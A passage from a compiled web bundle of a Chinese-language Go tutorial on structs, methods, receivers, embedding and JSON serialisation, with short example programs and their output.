age:28}\n'})}),"\n",(0,r.jsx)(e.p,{children:"\u4f7f\u7528\u8fd9\u79cd\u683c\u5f0f\u521d\u59cb\u5316\u65f6\uff0c\u9700\u8981\u6ce8\u610f\uff1a"}),"\n",(0,r.jsxs)(e.ol,{children:["\n",(0,r.jsx)(e.li,{children:"\u5fc5\u987b\u521d\u59cb\u5316\u7ed3\u6784\u4f53\u7684\u6240\u6709\u5b57\u6bb5\u3002"}),"\n",(0,r.jsx)(e.li,{children:"\u521d\u59cb\u503c\u7684\u586b\u5145\u987a\u5e8f\u5fc5\u987b\u4e0e\u5b57\u6bb5\u5728\u7ed3\u6784\u4f53\u4e2d\u7684\u58f0\u660e\u987a\u5e8f\u4e00\u81f4\u3002"}),"\n",(0,r.jsx)(e.li,{children:"\u8be5\u65b9\u5f0f\u4e0d\u80fd\u548c\u952e\u503c\u521d\u59cb\u5316\u65b9\u5f0f\u6df7\u7528\u3002"}),"\n"]}),"\n",(0,r.jsx)(e.h3,{id:"\u7ed3\u6784\u4f53\u5185\u5b58\u5e03\u5c40",children:"\u7ed3\u6784\u4f53\u5185\u5b58\u5e03\u5c40"}),"\n",(0,r.jsx)(e.p,{children:"\u7ed3\u6784\u4f53\u5360\u7528\u4e00\u5757\u8fde\u7eed\u7684\u5185\u5b58\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'type test struct {\n\ta int8\n\tb int8\n\tc int8\n\td int8\n}\nn := test{\n\t1, 2, 3, 4,\n}\nfmt.Printf("n.a %p\\n", &n.a)\nfmt.Printf("n.b %p\\n", &n.b)\nfmt.Printf("n.c %p\\n", &n.c)\nfmt.Printf("n.d %p\\n", &n.d)\n'})}),"\n",(0,r.jsx)(e.p,{children:"\u8f93\u51fa\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-bash",children:"n.a 0xc0000a0060\nn.b 0xc0000a0061\nn.c 0xc0000a0062\nn.d 0xc0000a0063\n"})}),"\n",(0,r.jsxs)(e.p,{children:["\u3010\u8fdb\u9636\u77e5\u8bc6\u70b9\u3011\u5173\u4e8eGo\u8bed\u8a00\u4e2d\u7684\u5185\u5b58\u5bf9\u9f50\u63a8\u8350\u9605\u8bfb:",(0,r.jsx)(e.a,{href:"https://www.liwenzhou.com/posts/Go/struct-memory-layout/",children:"Go\u7ed3\u6784\u4f53\u7684\u5185\u5b58\u5bf9\u9f50"})]}),"\n",(0,r.jsx)(e.h4,{id:"\u7a7a\u7ed3\u6784\u4f53",children:"\u7a7a\u7ed3\u6784\u4f53"}),"\n",(0,r.jsx)(e.p,{children:"\u7a7a\u7ed3\u6784\u4f53\u662f\u4e0d\u5360\u7528\u7a7a\u95f4\u7684\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:"var v struct{}\nfmt.Println(unsafe.Sizeof(v)) // 0\n"})}),"\n",(0,r.jsx)(e.h3,{id:"\u9762\u8bd5\u9898",children:"\u9762\u8bd5\u9898"}),"\n",(0,r.jsx)(e.p,{children:"\u8bf7\u95ee\u4e0b\u9762\u4ee3\u7801\u7684\u6267\u884c\u7ed3\u679c\u662f\u4ec0\u4e48\uff1f"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'type student struct {\n\tname string\n\tage int\n}\n\nfunc main() {\n\tm := make(map[string]*student)\n\tstus := []student{\n\t\t{name: "\u5c0f\u738b\u5b50", age: 18},\n\t\t{name: "\u5a1c\u624e", age: 23},\n\t\t{name: "\u5927\u738b\u516b", age: 9000},\n\t}\n\n\tfor _, stu := range stus {\n\t\tm[stu.name] = &stu\n\t}\n\tfor k, v := range m {\n\t\tfmt.Println(k, "=>", v.name)\n\t}\n}\n'})}),"\n",(0,r.jsx)(e.h3,{id:"\u6784\u9020\u51fd\u6570",children:"\u6784\u9020\u51fd\u6570"}),"\n",(0,r.jsxs)(e.p,{children:["Go\u8bed\u8a00\u7684\u7ed3\u6784\u4f53\u6ca1\u6709\u6784\u9020\u51fd\u6570\uff0c\u6211\u4eec\u53ef\u4ee5\u81ea\u5df1\u5b9e\u73b0\u3002 \u4f8b\u5982\uff0c\u4e0b\u65b9\u7684\u4ee3\u7801\u5c31\u5b9e\u73b0\u4e86\u4e00\u4e2a",(0,r.jsx)(e.code,{children:"person"}),"\u7684\u6784\u9020\u51fd\u6570\u3002 \u56e0\u4e3a",(0,r.jsx)(e.code,{children:"struct"}),"\u662f\u503c\u7c7b\u578b\uff0c\u5982\u679c\u7ed3\u6784\u4f53\u6bd4\u8f83\u590d\u6742\u7684\u8bdd\uff0c\u503c\u62f7\u8d1d\u6027\u80fd\u5f00\u9500\u4f1a\u6bd4\u8f83\u5927\uff0c\u6240\u4ee5\u8be5\u6784\u9020\u51fd\u6570\u8fd4\u56de\u7684\u662f\u7ed3\u6784\u4f53\u6307\u9488\u7c7b\u578b\u3002"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:"func newPerson(name, city string, age int8) *person {\n\treturn &person{\n\t\tname: name,\n\t\tcity: city,\n\t\tage: age,\n\t}\n}\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u8c03\u7528\u6784\u9020\u51fd\u6570"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'p9 := newPerson("\u5f20\u4e09", "\u6c99\u6cb3", 90)\nfmt.Printf("%#v\\n", p9) //&main.person{name:"\u5f20\u4e09", city:"\u6c99\u6cb3", age:90}\n'})}),"\n",(0,r.jsx)(e.h3,{id:"\u65b9\u6cd5\u548c\u63a5\u6536\u8005",children:"\u65b9\u6cd5\u548c\u63a5\u6536\u8005"}),"\n",(0,r.jsxs)(e.p,{children:["Go\u8bed\u8a00\u4e2d\u7684",(0,r.jsx)(e.code,{children:"\u65b9\u6cd5\uff08Method\uff09"}),"\u662f\u4e00\u79cd\u4f5c\u7528\u4e8e\u7279\u5b9a\u7c7b\u578b\u53d8\u91cf\u7684\u51fd\u6570\u3002\u8fd9\u79cd\u7279\u5b9a\u7c7b\u578b\u53d8\u91cf\u53eb\u505a",(0,r.jsx)(e.code,{children:"\u63a5\u6536\u8005\uff08Receiver\uff09"}),"\u3002\u63a5\u6536\u8005\u7684\u6982\u5ff5\u5c31\u7c7b\u4f3c\u4e8e\u5176\u4ed6\u8bed\u8a00\u4e2d\u7684",(0,r.jsx)(e.code,{children:"this"}),"\u6216\u8005 ",(0,r.jsx)(e.code,{children:"self"}),"\u3002"]}),"\n",(0,r.jsx)(e.p,{children:"\u65b9\u6cd5\u7684\u5b9a\u4e49\u683c\u5f0f\u5982\u4e0b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:"func (\u63a5\u6536\u8005\u53d8\u91cf \u63a5\u6536\u8005\u7c7b\u578b) \u65b9\u6cd5\u540d(\u53c2\u6570\u5217\u8868) (\u8fd4\u56de\u53c2\u6570) {\n \u51fd\u6570\u4f53\n}\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u5176\u4e2d\uff0c"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsxs)(e.li,{children:["\u63a5\u6536\u8005\u53d8\u91cf\uff1a\u63a5\u6536\u8005\u4e2d\u7684\u53c2\u6570\u53d8\u91cf\u540d\u5728\u547d\u540d\u65f6\uff0c\u5b98\u65b9\u5efa\u8bae\u4f7f\u7528\u63a5\u6536\u8005\u7c7b\u578b\u540d\u79f0\u9996\u5b57\u6bcd\u7684\u5c0f\u5199\uff0c\u800c\u4e0d\u662f",(0,r.jsx)(e.code,{children:"self"}),"\u3001",(0,r.jsx)(e.code,{children:"this"}),"\u4e4b\u7c7b\u7684\u547d\u540d\u3002\u4f8b\u5982\uff0c",(0,r.jsx)(e.code,{children:"Person"}),"\u7c7b\u578b\u7684\u63a5\u6536\u8005\u53d8\u91cf\u5e94\u8be5\u547d\u540d\u4e3a ",(0,r.jsx)(e.code,{children:"p"}),"\uff0c",(0,r.jsx)(e.code,{children:"Connector"}),"\u7c7b\u578b\u7684\u63a5\u6536\u8005\u53d8\u91cf\u5e94\u8be5\u547d\u540d\u4e3a",(0,r.jsx)(e.code,{children:"c"}),"\u7b49\u3002"]}),"\n",(0,r.jsx)(e.li,{children:"\u63a5\u6536\u8005\u7c7b\u578b\uff1a\u63a5\u6536\u8005\u7c7b\u578b\u548c\u53c2\u6570\u7c7b\u4f3c\uff0c\u53ef\u4ee5\u662f\u6307\u9488\u7c7b\u578b\u548c\u975e\u6307\u9488\u7c7b\u578b\u3002"}),"\n",(0,r.jsx)(e.li,{children:"\u65b9\u6cd5\u540d\u3001\u53c2\u6570\u5217\u8868\u3001\u8fd4\u56de\u53c2\u6570\uff1a\u5177\u4f53\u683c\u5f0f\u4e0e\u51fd\u6570\u5b9a\u4e49\u76f8\u540c\u3002"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u4e3e\u4e2a\u4f8b\u5b50\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'//Person \u7ed3\u6784\u4f53\ntype Person struct {\n\tname string\n\tage int8\n}\n\n//NewPerson \u6784\u9020\u51fd\u6570\nfunc NewPerson(name string, age int8) *Person {\n\treturn &Person{\n\t\tname: name,\n\t\tage: age,\n\t}\n}\n\n//Dream Person\u505a\u68a6\u7684\u65b9\u6cd5\nfunc (p Person) Dream() {\n\tfmt.Printf("%s\u7684\u68a6\u60f3\u662f\u5b66\u597dGo\u8bed\u8a00\uff01\\n", p.name)\n}\n\nfunc main() {\n\tp1 := NewPerson("\u5c0f\u738b\u5b50", 25)\n\tp1.Dream()\n}\n'})}),"\n",(0,r.jsx)(e.p,{children:"\u65b9\u6cd5\u4e0e\u51fd\u6570\u7684\u533a\u522b\u662f\uff0c\u51fd\u6570\u4e0d\u5c5e\u4e8e\u4efb\u4f55\u7c7b\u578b\uff0c\u65b9\u6cd5\u5c5e\u4e8e\u7279\u5b9a\u7684\u7c7b\u578b\u3002"}),"\n",(0,r.jsx)(e.h4,{id:"\u6307\u9488\u7c7b\u578b\u7684\u63a5\u6536\u8005",children:"\u6307\u9488\u7c7b\u578b\u7684\u63a5\u6536\u8005"}),"\n",(0,r.jsxs)(e.p,{children:["\u6307\u9488\u7c7b\u578b\u7684\u63a5\u6536\u8005\u7531\u4e00\u4e2a\u7ed3\u6784\u4f53\u7684\u6307\u9488\u7ec4\u6210\uff0c\u7531\u4e8e\u6307\u9488\u7684\u7279\u6027\uff0c\u8c03\u7528\u65b9\u6cd5\u65f6\u4fee\u6539\u63a5\u6536\u8005\u6307\u9488\u7684\u4efb\u610f\u6210\u5458\u53d8\u91cf\uff0c\u5728\u65b9\u6cd5\u7ed3\u675f\u540e\uff0c\u4fee\u6539\u90fd\u662f\u6709\u6548\u7684\u3002\u8fd9\u79cd\u65b9\u5f0f\u5c31\u5341\u5206\u63a5\u8fd1\u4e8e\u5176\u4ed6\u8bed\u8a00\u4e2d\u9762\u5411\u5bf9\u8c61\u4e2d\u7684",(0,r.jsx)(e.code,{children:"this"}),"\u6216\u8005",(0,r.jsx)(e.code,{children:"self"}),"\u3002 \u4f8b\u5982\u6211\u4eec\u4e3a",(0,r.jsx)(e.code,{children:"Person"}),"\u6dfb\u52a0\u4e00\u4e2a",(0,r.jsx)(e.code,{children:"SetAge"}),"\u65b9\u6cd5\uff0c\u6765\u4fee\u6539\u5b9e\u4f8b\u53d8\u91cf\u7684\u5e74\u9f84\u3002"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:"// SetAge \u8bbe\u7f6ep\u7684\u5e74\u9f84\n// \u4f7f\u7528\u6307\u9488\u63a5\u6536\u8005\nfunc (p *Person) SetAge(newAge int8) {\n\tp.age = newAge\n}\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u8c03\u7528\u8be5\u65b9\u6cd5\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'func main() {\n\tp1 := NewPerson("\u5c0f\u738b\u5b50", 25)\n\tfmt.Println(p1.age) // 25\n\tp1.SetAge(30)\n\tfmt.Println(p1.age) // 30\n}\n'})}),"\n",(0,r.jsx)(e.h4,{id:"\u503c\u7c7b\u578b\u7684\u63a5\u6536\u8005",children:"\u503c\u7c7b\u578b\u7684\u63a5\u6536\u8005"}),"\n",(0,r.jsx)(e.p,{children:"\u5f53\u65b9\u6cd5\u4f5c\u7528\u4e8e\u503c\u7c7b\u578b\u63a5\u6536\u8005\u65f6\uff0cGo\u8bed\u8a00\u4f1a\u5728\u4ee3\u7801\u8fd0\u884c\u65f6\u5c06\u63a5\u6536\u8005\u7684\u503c\u590d\u5236\u4e00\u4efd\u3002\u5728\u503c\u7c7b\u578b\u63a5\u6536\u8005\u7684\u65b9\u6cd5\u4e2d\u53ef\u4ee5\u83b7\u53d6\u63a5\u6536\u8005\u7684\u6210\u5458\u503c\uff0c\u4f46\u4fee\u6539\u64cd\u4f5c\u53ea\u662f\u9488\u5bf9\u526f\u672c\uff0c\u65e0\u6cd5\u4fee\u6539\u63a5\u6536\u8005\u53d8\u91cf\u672c\u8eab\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'// SetAge2 \u8bbe\u7f6ep\u7684\u5e74\u9f84\n// \u4f7f\u7528\u503c\u63a5\u6536\u8005\nfunc (p Person) SetAge2(newAge int8) {\n\tp.age = newAge\n}\n\nfunc main() {\n\tp1 := NewPerson("\u5c0f\u738b\u5b50", 25)\n\tp1.Dream()\n\tfmt.Println(p1.age) // 25\n\tp1.SetAge2(30) // (*p1).SetAge2(30)\n\tfmt.Println(p1.age) // 25\n}\n'})}),"\n",(0,r.jsx)(e.h4,{id:"\u4ec0\u4e48\u65f6\u5019\u5e94\u8be5\u4f7f\u7528\u6307\u9488\u7c7b\u578b\u63a5\u6536\u8005",children:"\u4ec0\u4e48\u65f6\u5019\u5e94\u8be5\u4f7f\u7528\u6307\u9488\u7c7b\u578b\u63a5\u6536\u8005"}),"\n",(0,r.jsxs)(e.ol,{children:["\n",(0,r.jsx)(e.li,{children:"\u9700\u8981\u4fee\u6539\u63a5\u6536\u8005\u4e2d\u7684\u503c"}),"\n",(0,r.jsx)(e.li,{children:"\u63a5\u6536\u8005\u662f\u62f7\u8d1d\u4ee3\u4ef7\u6bd4\u8f83\u5927\u7684\u5927\u5bf9\u8c61"}),"\n",(0,r.jsx)(e.li,{children:"\u4fdd\u8bc1\u4e00\u81f4\u6027\uff0c\u5982\u679c\u6709\u67d0\u4e2a\u65b9\u6cd5\u4f7f\u7528\u4e86\u6307\u9488\u63a5\u6536\u8005\uff0c\u90a3\u4e48\u5176\u4ed6\u7684\u65b9\u6cd5\u4e5f\u5e94\u8be5\u4f7f\u7528\u6307\u9488\u63a5\u6536\u8005\u3002"}),"\n"]}),"\n",(0,r.jsx)(e.h3,{id:"\u4efb\u610f\u7c7b\u578b\u6dfb\u52a0\u65b9\u6cd5",children:"\u4efb\u610f\u7c7b\u578b\u6dfb\u52a0\u65b9\u6cd5"}),"\n",(0,r.jsxs)(e.p,{children:["\u5728Go\u8bed\u8a00\u4e2d\uff0c\u63a5\u6536\u8005\u7684\u7c7b\u578b\u53ef\u4ee5\u662f\u4efb\u4f55\u7c7b\u578b\uff0c\u4e0d\u4ec5\u4ec5\u662f\u7ed3\u6784\u4f53\uff0c\u4efb\u4f55\u7c7b\u578b\u90fd\u53ef\u4ee5\u62e5\u6709\u65b9\u6cd5\u3002 \u4e3e\u4e2a\u4f8b\u5b50\uff0c\u6211\u4eec\u57fa\u4e8e\u5185\u7f6e\u7684",(0,r.jsx)(e.code,{children:"int"}),"\u7c7b\u578b\u4f7f\u7528type\u5173\u952e\u5b57\u53ef\u4ee5\u5b9a\u4e49\u65b0\u7684\u81ea\u5b9a\u4e49\u7c7b\u578b\uff0c\u7136\u540e\u4e3a\u6211\u4eec\u7684\u81ea\u5b9a\u4e49\u7c7b\u578b\u6dfb\u52a0\u65b9\u6cd5\u3002"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'//MyInt \u5c06int\u5b9a\u4e49\u4e3a\u81ea\u5b9a\u4e49MyInt\u7c7b\u578b\ntype MyInt int\n\n//SayHello \u4e3aMyInt\u6dfb\u52a0\u4e00\u4e2aSayHello\u7684\u65b9\u6cd5\nfunc (m MyInt) SayHello() {\n\tfmt.Println("Hello, \u6211\u662f\u4e00\u4e2aint\u3002")\n}\nfunc main() {\n\tvar m1 MyInt\n\tm1.SayHello() //Hello, \u6211\u662f\u4e00\u4e2aint\u3002\n\tm1 = 100\n\tfmt.Printf("%#v %T\\n", m1, m1) //100 main.MyInt\n}\n'})}),"\n",(0,r.jsxs)(e.p,{children:[(0,r.jsx)(e.strong,{children:"\u6ce8\u610f\u4e8b\u9879\uff1a"})," \u975e\u672c\u5730\u7c7b\u578b\u4e0d\u80fd\u5b9a\u4e49\u65b9\u6cd5\uff0c\u4e5f\u5c31\u662f\u8bf4\u6211\u4eec\u4e0d\u80fd\u7ed9\u522b\u7684\u5305\u7684\u7c7b\u578b\u5b9a\u4e49\u65b9\u6cd5\u3002"]}),"\n",(0,r.jsx)(e.h3,{id:"\u7ed3\u6784\u4f53\u7684\u533f\u540d\u5b57\u6bb5",children:"\u7ed3\u6784\u4f53\u7684\u533f\u540d\u5b57\u6bb5"}),"\n",(0,r.jsx)(e.p,{children:"\u7ed3\u6784\u4f53\u5141\u8bb8\u5176\u6210\u5458\u5b57\u6bb5\u5728\u58f0\u660e\u65f6\u6ca1\u6709\u5b57\u6bb5\u540d\u800c\u53ea\u6709\u7c7b\u578b\uff0c\u8fd9\u79cd\u6ca1\u6709\u540d\u5b57\u7684\u5b57\u6bb5\u5c31\u79f0\u4e3a\u533f\u540d\u5b57\u6bb5\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'//Person \u7ed3\u6784\u4f53Person\u7c7b\u578b\ntype Person struct {\n\tstring\n\tint\n}\n\nfunc main() {\n\tp1 := Person{\n\t\t"\u5c0f\u738b\u5b50",\n\t\t18,\n\t}\n\tfmt.Printf("%#v\\n", p1) //main.Person{string:"\u5317\u4eac", int:18}\n\tfmt.Println(p1.string, p1.int) //\u5317\u4eac 18\n}\n'})}),"\n",(0,r.jsx)(e.p,{children:"**\u6ce8\u610f\uff1a**\u8fd9\u91cc\u533f\u540d\u5b57\u6bb5\u7684\u8bf4\u6cd5\u5e76\u4e0d\u4ee3\u8868\u6ca1\u6709\u5b57\u6bb5\u540d\uff0c\u800c\u662f\u9ed8\u8ba4\u4f1a\u91c7\u7528\u7c7b\u578b\u540d\u4f5c\u4e3a\u5b57\u6bb5\u540d\uff0c\u7ed3\u6784\u4f53\u8981\u6c42\u5b57\u6bb5\u540d\u79f0\u5fc5\u987b\u552f\u4e00\uff0c\u56e0\u6b64\u4e00\u4e2a\u7ed3\u6784\u4f53\u4e2d\u540c\u79cd\u7c7b\u578b\u7684\u533f\u540d\u5b57\u6bb5\u53ea\u80fd\u6709\u4e00\u4e2a\u3002"}),"\n",(0,r.jsx)(e.h3,{id:"\u5d4c\u5957\u7ed3\u6784\u4f53",children:"\u5d4c\u5957\u7ed3\u6784\u4f53"}),"\n",(0,r.jsx)(e.p,{children:"\u4e00\u4e2a\u7ed3\u6784\u4f53\u4e2d\u53ef\u4ee5\u5d4c\u5957\u5305\u542b\u53e6\u4e00\u4e2a\u7ed3\u6784\u4f53\u6216\u7ed3\u6784\u4f53\u6307\u9488\uff0c\u5c31\u50cf\u4e0b\u9762\u7684\u793a\u4f8b\u4ee3\u7801\u90a3\u6837\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'//Address \u5730\u5740\u7ed3\u6784\u4f53\ntype Address struct {\n\tProvince string\n\tCity string\n}\n\n//User \u7528\u6237\u7ed3\u6784\u4f53\ntype User struct {\n\tName string\n\tGender string\n\tAddress Address\n}\n\nfunc main() {\n\tuser1 := User{\n\t\tName: "\u5c0f\u738b\u5b50",\n\t\tGender: "\u7537",\n\t\tAddress: Address{\n\t\t\tProvince: "\u5c71\u4e1c",\n\t\t\tCity: "\u5a01\u6d77",\n\t\t},\n\t}\n\tfmt.Printf("user1=%#v\\n", user1)//user1=main.User{Name:"\u5c0f\u738b\u5b50", Gender:"\u7537", Address:main.Address{Province:"\u5c71\u4e1c", City:"\u5a01\u6d77"}}\n}\n'})}),"\n",(0,r.jsx)(e.h4,{id:"\u5d4c\u5957\u533f\u540d\u5b57\u6bb5",children:"\u5d4c\u5957\u533f\u540d\u5b57\u6bb5"}),"\n",(0,r.jsxs)(e.p,{children:["\u4e0a\u9762user\u7ed3\u6784\u4f53\u4e2d\u5d4c\u5957\u7684",(0,r.jsx)(e.code,{children:"Address"}),"\u7ed3\u6784\u4f53\u4e5f\u53ef\u4ee5\u91c7\u7528\u533f\u540d\u5b57\u6bb5\u7684\u65b9\u5f0f\uff0c\u4f8b\u5982\uff1a"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'//Address \u5730\u5740\u7ed3\u6784\u4f53\ntype Address struct {\n\tProvince string\n\tCity string\n}\n\n//User \u7528\u6237\u7ed3\u6784\u4f53\ntype User struct {\n\tName string\n\tGender string\n\tAddress //\u533f\u540d\u5b57\u6bb5\n}\n\nfunc main() {\n\tvar user2 User\n\tuser2.Name = "\u5c0f\u738b\u5b50"\n\tuser2.Gender = "\u7537"\n\tuser2.Address.Province = "\u5c71\u4e1c" // \u533f\u540d\u5b57\u6bb5\u9ed8\u8ba4\u4f7f\u7528\u7c7b\u578b\u540d\u4f5c\u4e3a\u5b57\u6bb5\u540d\n\tuser2.City = "\u5a01\u6d77" // \u533f\u540d\u5b57\u6bb5\u53ef\u4ee5\u7701\u7565\n\tfmt.Printf("user2=%#v\\n", user2) //user2=main.User{Name:"\u5c0f\u738b\u5b50", Gender:"\u7537", Address:main.Address{Province:"\u5c71\u4e1c", City:"\u5a01\u6d77"}}\n}\n'})}),"\n",(0,r.jsx)(e.p,{children:"\u5f53\u8bbf\u95ee\u7ed3\u6784\u4f53\u6210\u5458\u65f6\u4f1a\u5148\u5728\u7ed3\u6784\u4f53\u4e2d\u67e5\u627e\u8be5\u5b57\u6bb5\uff0c\u627e\u4e0d\u5230\u518d\u53bb\u5d4c\u5957\u7684\u533f\u540d\u5b57\u6bb5\u4e2d\u67e5\u627e\u3002"}),"\n",(0,r.jsx)(e.h4,{id:"\u5d4c\u5957\u7ed3\u6784\u4f53\u7684\u5b57\u6bb5\u540d\u51b2\u7a81",children:"\u5d4c\u5957\u7ed3\u6784\u4f53\u7684\u5b57\u6bb5\u540d\u51b2\u7a81"}),"\n",(0,r.jsx)(e.p,{children:"\u5d4c\u5957\u7ed3\u6784\u4f53\u5185\u90e8\u53ef\u80fd\u5b58\u5728\u76f8\u540c\u7684\u5b57\u6bb5\u540d\u3002\u5728\u8fd9\u79cd\u60c5\u51b5\u4e0b\u4e3a\u4e86\u907f\u514d\u6b67\u4e49\u9700\u8981\u901a\u8fc7\u6307\u5b9a\u5177\u4f53\u7684\u5185\u5d4c\u7ed3\u6784\u4f53\u5b57\u6bb5\u540d\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'//Address \u5730\u5740\u7ed3\u6784\u4f53\ntype Address struct {\n\tProvince string\n\tCity string\n\tCreateTime string\n}\n\n//Email \u90ae\u7bb1\u7ed3\u6784\u4f53\ntype Email struct {\n\tAccount string\n\tCreateTime string\n}\n\n//User \u7528\u6237\u7ed3\u6784\u4f53\ntype User struct {\n\tName string\n\tGender string\n\tAddress\n\tEmail\n}\n\nfunc main() {\n\tvar user3 User\n\tuser3.Name = "\u6c99\u6cb3\u5a1c\u624e"\n\tuser3.Gender = "\u7537"\n\t// user3.CreateTime = "2019" //ambiguous selector user3.CreateTime\n\tuser3.Address.CreateTime = "2000" //\u6307\u5b9aAddress\u7ed3\u6784\u4f53\u4e2d\u7684CreateTime\n\tuser3.Email.CreateTime = "2000" //\u6307\u5b9aEmail\u7ed3\u6784\u4f53\u4e2d\u7684CreateTime\n}\n'})}),"\n",(0,r.jsx)(e.h3,{id:"\u7ed3\u6784\u4f53\u7684\u7ee7\u627f",children:"\u7ed3\u6784\u4f53\u7684\u201c\u7ee7\u627f\u201d"}),"\n",(0,r.jsx)(e.p,{children:"Go\u8bed\u8a00\u4e2d\u4f7f\u7528\u7ed3\u6784\u4f53\u4e5f\u53ef\u4ee5\u5b9e\u73b0\u5176\u4ed6\u7f16\u7a0b\u8bed\u8a00\u4e2d\u9762\u5411\u5bf9\u8c61\u7684\u7ee7\u627f\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'//Animal \u52a8\u7269\ntype Animal struct {\n\tname string\n}\n\nfunc (a *Animal) move() {\n\tfmt.Printf("%s\u4f1a\u52a8\uff01\\n", a.name)\n}\n\n//Dog \u72d7\ntype Dog struct {\n\tFeet int8\n\t*Animal //\u901a\u8fc7\u5d4c\u5957\u533f\u540d\u7ed3\u6784\u4f53\u5b9e\u73b0\u7ee7\u627f\n}\n\nfunc (d *Dog) wang() {\n\tfmt.Printf("%s\u4f1a\u6c6a\u6c6a\u6c6a~\\n", d.name)\n}\n\nfunc main() {\n\td1 := &Dog{\n\t\tFeet: 4,\n\t\tAnimal: &Animal{ //\u6ce8\u610f\u5d4c\u5957\u7684\u662f\u7ed3\u6784\u4f53\u6307\u9488\n\t\t\tname: "\u4e50\u4e50",\n\t\t},\n\t}\n\td1.wang() //\u4e50\u4e50\u4f1a\u6c6a\u6c6a\u6c6a~\n\td1.move() //\u4e50\u4e50\u4f1a\u52a8\uff01\n}\n'})}),"\n",(0,r.jsx)(e.h3,{id:"\u7ed3\u6784\u4f53\u5b57\u6bb5\u7684\u53ef\u89c1\u6027",children:"\u7ed3\u6784\u4f53\u5b57\u6bb5\u7684\u53ef\u89c1\u6027"}),"\n",(0,r.jsx)(e.p,{children:"\u7ed3\u6784\u4f53\u4e2d\u5b57\u6bb5\u5927\u5199\u5f00\u5934\u8868\u793a\u53ef\u516c\u5f00\u8bbf\u95ee\uff0c\u5c0f\u5199\u8868\u793a\u79c1\u6709\uff08\u4ec5\u5728\u5b9a\u4e49\u5f53\u524d\u7ed3\u6784\u4f53\u7684\u5305\u4e2d\u53ef\u8bbf\u95ee\uff09\u3002"}),"\n",(0,r.jsx)(e.h3,{id:"\u7ed3\u6784\u4f53\u4e0ejson\u5e8f\u5217\u5316",children:"\u7ed3\u6784\u4f53\u4e0eJSON\u5e8f\u5217\u5316"}),"\n",(0,r.jsxs)(e.p,{children:["JSON(JavaScript Object Notation) \u662f\u4e00\u79cd\u8f7b\u91cf\u7ea7\u7684\u6570\u636e\u4ea4\u6362\u683c\u5f0f\u3002\u6613\u4e8e\u4eba\u9605\u8bfb\u548c\u7f16\u5199\u3002\u540c\u65f6\u4e5f\u6613\u4e8e\u673a\u5668\u89e3\u6790\u548c\u751f\u6210\u3002JSON\u952e\u503c\u5bf9\u662f\u7528\u6765\u4fdd\u5b58JS\u5bf9\u8c61\u7684\u4e00\u79cd\u65b9\u5f0f\uff0c\u952e/\u503c\u5bf9\u7ec4\u5408\u4e2d\u7684\u952e\u540d\u5199\u5728\u524d\u9762\u5e76\u7528\u53cc\u5f15\u53f7",(0,r.jsx)(e.code,{children:'""'}),"\u5305\u88f9\uff0c\u4f7f\u7528\u5192\u53f7",(0,r.jsx)(e.code,{children:":"}),"\u5206\u9694\uff0c\u7136\u540e\u7d27\u63a5\u7740\u503c\uff1b\u591a\u4e2a\u952e\u503c\u4e4b\u95f4\u4f7f\u7528\u82f1\u6587",(0,r.jsx)(e.code,{children:","}),"\u5206\u9694\u3002"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'//Student \u5b66\u751f\ntype Student struct {\n\tID int\n\tGender string\n\tName string\n}\n\n//Class \u73ed\u7ea7\ntype Class struct {\n\tTitle string\n\tStudents []*Student\n}\n\nfunc main() {\n\tc := &Class{\n\t\tTitle: "101",\n\t\tStudents: make([]*Student, 0, 200),\n\t}\n\tfor i := 0; i < 10; i++ {\n\t\tstu := &Student{\n\t\t\tName: fmt.Sprintf("stu%02d", i),\n\t\t\tGender: "\u7537",\n\t\t\tID: i,\n\t\t}\n\t\tc.Students = append(c.Students, stu)\n\t}\n\t//JSON\u5e8f\u5217\u5316\uff1a\u7ed3\u6784\u4f53--\x3eJSON\u683c\u5f0f\u7684\u5b57\u7b26\u4e32\n\tdata, err := json.Marshal(c)\n\tif err != nil {\n\t\tfmt.Println("json marshal failed")\n\t\treturn\n\t}\n\tfmt.Printf("json:%s\\n", data)\n\t//JSON\u53cd\u5e8f\u5217\u5316\uff1aJSON\u683c\u5f0f\u7684\u5b57\u7b26\u4e32--\x3e\u7ed3\u6784\u4f53\n\tstr := 